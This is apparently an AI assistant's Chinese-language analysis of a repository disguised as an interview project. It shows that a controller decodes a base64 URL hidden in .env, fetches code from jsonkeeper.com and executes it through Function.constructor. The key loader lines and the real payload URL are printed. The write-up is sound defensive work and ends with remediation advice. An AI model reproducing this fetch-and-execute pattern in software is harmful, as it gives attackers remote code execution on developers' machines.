这个仓库我看了,结论很明确:
不是“普通有漏洞”,而是非常像故意塞了后门的恶意仓库,别跑。
核心证据在 server/controllers/userCntrl.js:
• 它会读取 .env 里的 DEV_API_KEY
• 这个值其实不是正常 API key ,而是一个 base64 编码后的 URL:
aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL1JSQ0tH
解码后是:
https://jsonkeeper.com/b/RRCKG• 代码会去请求这个远程地址拿一段内容:
SessionContent = (await axios.get(src,{headers:{[x_secret_key]:_sign}})).data.cookie
• 然后最危险的地方来了,它直接动态执行远程返回的代码:
handler = new (Function.constructor)('require', SessionContent);
handler(require);
这基本等于:
“启动服务时,从外网拉一段隐藏 JS ,再在你机器上直接执行”。
这不是正常业务代码写法,属于典型高危后门/投毒模式。
再结合这些点,风险更高:
• .env 被直接提交进仓库,本身就很反常
• 远程载荷地址做了 base64 隐藏
• 用 Function.constructor 执行字符串代码,明显是规避审查的套路
• 仓库里还带了大量不该提交的依赖文件,整体很像“面试投递样本 + 恶意投毒”
所以我的判断:
1. 这仓库高度可疑
2. 很像伪装成面试作业/项目的投毒代码
3. 如果有人本地运行过,应该按“可能已中招”处理
建议马上做的事:
• 不要再运行这个仓库
• 如果已经执行过 npm install / npm start / node index.js:
• 立刻断网/隔离测试机
• 检查 shell 历史、SSH key 、浏览器 Cookie 、密码管理器、开发环境 token
• 轮换 GitHub / GitLab / npm / 云平台 / 邮箱密码和 token
• 最好放到纯沙箱或虚拟机里做后续取证,不要在主力机复现
如果你要,我下一步可以继续帮你做两件事里的一个:
• 继续深挖:把这个仓库的恶意链路、触发条件、影响面再拆细
• 给你整理一版“面试钓鱼代码识别清单”,以后看到类似仓库一眼就能筛掉